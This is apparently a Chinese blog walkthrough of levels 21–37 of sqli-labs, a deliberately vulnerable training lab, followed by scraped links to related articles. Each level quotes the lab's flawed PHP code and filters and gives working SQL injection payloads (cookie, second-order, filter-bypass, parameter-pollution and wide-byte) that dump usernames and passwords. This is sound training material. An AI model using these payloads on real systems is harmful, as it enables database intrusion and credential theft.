第二十一关:base64编码的cooki注入

YOUR COOKIE : uname = YWRtaW4= and expires: Tue 10 Mar 2020 - 03:42:09

注:YWRtaW4=是admin经过base64编码。

在uname=后面进行注入,每次注入需要进行base64编码。

payload:

') union select 1,2,3#
JykgdW5pb24gc2VsZWN0IDEsMiwzIw==

第二十二关:同二十一关,闭合符号改为双引号即可

第二十三关:过滤了注释符的报错注入

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

因为注释符被过滤了,id='$id'后面的单引号就需要我们使用一个单引号去闭合。

两种payload:

?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),'3
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3 or '1' = '

第二十四关:二次排序注入

首先admin账号的密码为admin,然后注册一个用户名为admin'#,密码123456的账户,再进行登录admin'#账号,最后就可以重新修改admin'#账号的密码为123。会发现admin账号的密码被修改为123了。

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

账号名admin'#代入sql语句,就会将后面的语句给注释掉。

第二十五关:过滤了or和AND的注入

$id= blacklist($id);
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id); return $id;
}

payload:

?id=1' || updatexml(1,concat(0x23,database(),0x23),1)--+
?id=-1' union select 1,(select group_concat(username) from security.users),3--+

第二十五a关:25关的基础上没有单引号,且不能用报错注入而已。

payload:

?id=-1 union select 1,(select group_concat(username) from security.users),3--+

第二十六关

function blacklist($id)
{
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
}

在25关的基础上,过滤的更多了。主要是空格的过滤。

%a0代表空格,但是在Windows无法识别%a0,需要在Linux系统下进行。当然,也可以尝试一些其他的符号。

payload:

?id=100'union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||'1

第二十六a关

闭合的符号变为')而已。

payload:

?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十七关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
return $id;
}

这里采取大小写绕过。

payload:

?id=100'unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||'1

第二十七a关

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
return $id;
}

单引号闭合变为双引号而已。

payload:

?id=100"unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),"3

第二十八关

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
//$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
}

payload:

?id=100')union%a0select%a01,(select%a0group_concat(username)%a0from%a0security.users),3||('1

第二十八a关

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);
//$id= preg_replace('/[--]/',"", $id);
//$id= preg_replace('/[#]/',"", $id);
//$id= preg_replace('/[ +]/',"", $id);
//$id= preg_replace('/select/m',"", $id);
//$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
}

payload(绕过union和select的过滤即可):

?id=100%27)unIon%a0selECt%a01,(selECt%a0group_concat(username)%a0from%a0security.users),3||(%271

第二十九关

两层服务器架构,攻击手段是HPP(http参数污染)。

第一层是tomcat,第二层是apache,返回数据的服务器是apache。

index.jsp

String rex = "^\\d+$";
Boolean match=id.matches(rex);
if(match == true)
{
URL sqli_labs = new URL("http://localhost/sqli-labs/Less-29/index.php?"+ qs);

index.php

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

payload:

?id=1&id=-2'union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十关:29关的基础上,把单引号变双引号

$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload:

?id=1&id=-2"union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十一关:30关的基础上,多一个括号

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id= ($id) LIMIT 0,1";

payload:

?id=1&id=-2")union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第三十二关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string;
}

gbk编码,当然首先就想到了宽字节注入。

payload:

?id=-1%df%27union%20select%201,(select%20group_concat(username,0x3a,password)%20from%20security.users),3--+

第三十三关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

payload同32关一样。

注:使用addslashes()函数,我们需要将mysql_query设置为binary的方式,才能防御此漏洞。

Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);

第三十四关

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

payload:

uname=-1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

第三十五关

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

payload(不知道这一关要干啥):

?id=-1 union select 1,user(),database()--+

第三十六关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}

payload:

?id=-1%EF%BF%BD%27union%20select%201,user(),3--+
?id=-1%df%27union%20select%201,user(),3--+

注:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。设置的代码为:Mysql_set_charset('gbk','$conn')

第三十七关:同34关

sqli-labs之Page-2的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. 必须先理解的RocketMQ入门手册,才能再次深入解读

    RocketMQ入门手册 RocketMQ是一个分布式.队列模型的开源消息中间件,前身是MetaQ,是阿里研发的一个队列模型的消息中间件,后开源给apache基金会成为了apache的顶级开源项目,具 ...

  2. 使用hexo和coding建立静态博客站点

    背景 由于工作性质的原因,做技术的总想记录和分享一下自己的学习和成长历程,向这世界证明我来过.写文章,发博客,一开始使用51cto,广告太多,看起来让人很痛苦:接着试用了博客园,广告少一些,但感觉还是 ...

  3. Mac剪切板中的PNG保存到文件swift

    SwiftGG 教程大全 中文翻译 命令行工具开发教程 Line Programs on macOS Tutorial swift4,较详细 Swift基础中需要注意的点 NSPasteboard M ...

  4. 解决Macbook Pro 2017安装Windows10双系统后在Windows系统中Apple蓝牙鼠标不能使用问题

    MAC BOOK PRO 2017安装Windows10双系统 在Windows系统中蓝牙鼠标不能使用解决办法 最近因工作需要,macOS系统不能要求,大部分工作必须要在Windows系统中进行,最初 ...

  5. 2019-2020-1 20199328《Linux内核原理与分析》第六周作业

    使用gdb跟踪分析一个系统调用内核函数 首先我们删除本身的menu目录,并从github上克隆一个menu,并进行编译 编译过程 现在找到test.c文件,加入上个实验中做的getPid()方法 利用 ...

  6. 日志分析工具ELK(一)

    一.ELK介绍 1.1 elasticsearch 1.1.1 elasticsearch介绍 ElasticSearch是一个基于Lucene的搜索服务器.它提供了一个分布式多用户能力的全文搜索引擎 ...

  7. 咦,Java拆分个字符串都这么讲究

    提到 Java 拆分字符串,我猜你十有八九会撂下一句狠话,"这有什么难的,直接上 String 类的 split() 方法不就拉到了!"假如你真的这么觉得,那可要注意了,事情远没这 ...

  8. vue 开发规范

    本文档为前端 vue 开发规范 规范目的 命名规范 结构化规范 注释规范 编码规范 CSS 规范 规范目的 为提高团队协作效率 便于后台人员添加功能及前端后期优化维护 输出高质量的文档 命名规范 为了 ...

  9. AtomineerUtils使用说明

    AtomineerUtils使用说明 VS2015PluginCrackAtomineer 介绍 AtomineerUtils 是国外的一款用于生成源代码注释的一款 VS 插件工具. 这款插件,支持 ...

  10. Mac自带编码转换工具iconv

    iconv --help Usage: iconv [OPTION...] [-f ENCODING] [-t ENCODING] [INPUTFILE...] or: iconv -l Conver ...